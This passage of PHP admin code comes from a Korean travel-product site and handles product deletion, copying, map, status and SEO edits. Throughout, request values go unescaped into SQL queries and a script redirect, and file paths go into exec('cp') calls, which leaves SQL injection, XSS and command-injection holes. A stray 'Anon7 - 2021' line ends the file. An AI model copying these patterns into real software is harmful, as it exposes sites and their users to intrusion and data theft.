	@unlink($upload.$img_arr['g_image1']); // 이미지 삭제
	$sql = "delete from good where g_uid='{$g_uid}' ";
	db_query($sql);

	error_msg("document.location.reload()","script");
}

// 상품카피
elseif($SqlType=="good_copy") {
	if(!$b_uid or !$g_uid) exit;

	// 상품정보 복사
	$arr = good_list(" and g_uid='{$g_uid}' ");
	$row = $arr[0];

	// 대표 이미지 복사(2016.07.19)
	$new_fn = "";
	if($row['g_image1']) {
		// 이미지명 새로생성
		$new_fn = getUniqueFileName($row['g_image1']);
	
		// 이전이미지
		$orig_path = $upload.$row['g_image1'];
		$orig_path_thum = $upload_thum.$row['g_image1'];
	
		// 새이미지
		$new_path = $upload.$new_fn;
		$new_path_thum = $upload_thum.$new_fn;
	
		@exec("cp -p {$orig_path} {$new_path}");
		@exec("cp -p {$orig_path_thum} {$new_path_thum}");
	}	
	
	$gdt = ($row['gdt']) ? $row['gdt']:"gr";
	
	$sql= " insert into ".$table." set ";
	$sql.=" tab='".$tab."' ";
	$sql.="   ,gdt='".$row['gdt']."' ";
	$sql.="	,b_uid='".$b_uid."' ";
	$sql.="	,m_uid='".$m_uid."' ";
	$sql.="	,s_uid='".$s_uid."' ";
	$sql.="	,Bidx='".$row['Bidx']."' ";
	$sql.="	,Cidx='".$row['Cidx']."' ";
	$sql.=" ,pseq='".$row['pseq']."' ";
	$sql.=" ,NationName='".$row['NationName']."' ";
	$sql.=" ,CityName='".$row['CityName']."' ";
	$sql.=" ,InfoTitle='".$row['InfoTitle']."' ";
    $sql.=" ,g_no='".$row['g_no']."' ";
	$sql.=" ,g_title='".$row['g_title']."' ";
	$sql.=" ,g_code='".Fnc_GetRes()."' ";
	//$sql.=" ,g_type='".$row['g_type']."' ";
	$sql.=" ,g_sch='".$row['g_sch']."' ";
	//$sql.=" ,g_image1='".$row['g_image1']."' ";
	$sql.=" ,g_image1='{$new_fn}'"; // - 원본과 정보를 공유해서 복사하지 않기로 설정함.
	$sql.=" ,g_brief='".str_replace("'","&#39",$row['g_brief'])."' ";
	$sql.=" ,g_explain='".str_replace("'","&#39",$row['g_explain'])."' ";
	$sql.=" ,g_inclusion='".str_replace("'","&#39",$row['g_inclusion'])."' ";
	$sql.=" ,g_noinclusion='".str_replace("'","&#39",$row['g_noinclusion'])."' ";
	$sql.=" ,g_special='".str_replace("'","&#39",$row['g_special'])."' ";
	$sql.=" ,g_special_mo='".str_replace("'","&#39",$row['g_special_mo'])."' "; //모바일용
	$sql.=" ,g_rule='".str_replace("'","&#39",$row['g_rule'])."' ";
	$sql.=" ,g_rule_mo='".str_replace("'","&#39",$row['g_rule_mo'])."' "; //모바일용
	$sql.=" ,g_heed='".str_replace("'","&#39",$row['g_heed'])."' ";
	$sql.=" ,g_heed_mo='".str_replace("'","&#39",$row['g_heed_mo'])."' "; //모바일용
	$sql.=" ,g_ready='".str_replace("'","&#39",$row['g_ready'])."' ";
	$sql.=" ,map_x='".$row['map_x']."' ";
	$sql.=" ,map_y='".$row['map_y']."' ";
	$sql.=" ,admin_id='".$row['admin_id']."' ";
	$sql.=" ,admin_nm='".$row['admin_nm']."' ";


	$sql.=" ,exchange_fg='".$row['exchange_fg']."' ";
	$sql.=" ,exid='".$row['exid']."' ";	
	$sql.=" ,g_cautions='".str_replace("'","&#39",$row['g_cautions'])."' ";
	$sql.=" ,g_cautions_mo='".str_replace("'","&#39",$row['g_cautions_mo'])."' "; //모바일용
	$sql.=" ,g_select_num='".$row['g_select_num']."' ";
	$sql.=" ,g_regdate=now() ";

	db_query($sql);

	$gid = db_insert_id();

	// 여행정보 복사
	$arr = TO_get_info($g_uid);
	for ($i=0 ; $i<count($arr) ; $i++) {
		$row = $arr[$i];
		$sql = "insert into TB_SelInfo set ";
		$sql .= "g_uid='{$gid}' ";
		$sql .= ",Bidx='".$row['Bidx']."'";
		$sql .= ",Cidx='".$row['Cidx']."'";
		$sql .= ",Gidx='".$row['Gidx']."'";
		$sql .= ",pseq='".$row['pseq']."'";
		$sql .= ",Tpe='".$row['Tpe']."'";
		$sql .= ",InfoTitle='".$row['InfoTitle']."'";
		$sql .= ",SortType='".$row['SortType']."'";
		$sql .= ",RegDate=now()";

		db_query($sql);
	}
	

	// 호텔정보 복사
	$arr = TO_get_hotel($g_uid);
	for ($i=0 ; $i<count($arr) ; $i++) {
		$row = $arr[$i];
		$sql = "insert into TB_SelHotel set ";
		$sql .= "g_uid='{$gid}' ";
		$sql .= ",Bidx='".$row['Bidx']."'";
		$sql .= ",Cidx='".$row['Cidx']."'";
		$sql .= ",hseq='".$row['hseq']."'";
		$sql .= ",HGoods_Code='".$row['HGoods_Code']."'";
		$sql .= ",RegDate=now()";

		db_query($sql);
	}

	// 갤러리 카피
	$data_gallery=TO_get_good_photo($g_uid);
	
	if(is_array($data_gallery)){ foreach($data_gallery as $v) {
		$img=$v['img'];
	
		// 이미지명 새로생성
		$new_fn = getUniqueFileName($img);
	
		// 이전이미지
		$orig_path = $upload.$img;
		$orig_path_thum = $upload_thum.$img;
	
		// 새이미지
		$new_path = $upload.$new_fn;
		$new_path_thum = $upload_thum.$new_fn;
	
		@exec("cp -p {$orig_path} {$new_path}");
		@exec("cp -p {$orig_path_thum} {$new_path_thum}");
	
		$sql="insert into TB_GoodImg set Gidx='{$new_seq}',ImgType='{$v[ImgType]}',ImgTitle='{$new_fn}',ImgMemo='{$v[ImgMemo]}',RegDate=now()";
	
		db_query($sql);
	}}	

	error_msg("document.location.reload()","script");
}//구글맵수정
 elseif($SqlType=="good_map_edit"){
	if(!$g_uid) exit;

	$sql = "update {$table} set map_x='{$map_x}' , map_y='{$map_y}' where g_uid='{$g_uid}' ";

	db_query($sql);

	error_msg("document.location.reload();","script");
}

// 사용수정
elseif($SqlType=="g_ok_updt"){
	if(!$g_ok) exit;
	
	for($i=0 ; $i<count($guid_arr) ; $i++){
		$g_uid = $guid_arr[$i];
		
		if($g_uid){
			db_query("update {$table} set g_ok='{$g_ok}' where g_uid='{$g_uid}' ");
		}
	}
	
	error_msg("document.location.reload();","script");
}

/**
 * by taeyoung
 * 2022.06.15
 * SEO 키워드, 디스크립션, 이미지 수정
*/
else if($SqlType=="good_seo_edit"){
    if(!$g_uid){
        exit;
    }

//    p($_FILES);
//    p($_POST);
//    echo 'name is '.$_FILES['name'];

    if($_FILES['sns_share_img']['name']) {
        //이미지 업로드
        $up_img1 = FileUploadName( "", $upload, $_FILES['sns_share_img']['tmp_name'], $_FILES['sns_share_img']['name'] ,"");//파일 업로드
        make_thum($upload.$up_img1,$upload_thum.$up_img1);//이미지썸네일 생성

        $sql = "UPDATE {$table} SET sns_share_img ='{$up_img1}' where g_uid='{$g_uid}'";
        db_query($sql);
    }

    if($g_uid){
        $sql = "UPDATE {$table} SET seo_keyword ='{$seo_keyword}', seo_desc = '{$seo_desc}', seo_contents_text = '{$seo_contents_text}' where g_uid='{$g_uid}'";

		/*if(devCookie()){
			p($sql);
			exit;
		}*/

        if(db_query($sql)){

		}else{
			echo "failed";
			exit;
		}
    }

//    error_msg("document.location.reload();","script");
    echo "<script>location.href='/admin/good/good_seo.html?g_uid={$g_uid}'</script>";
}



?>

Anon7 - 2021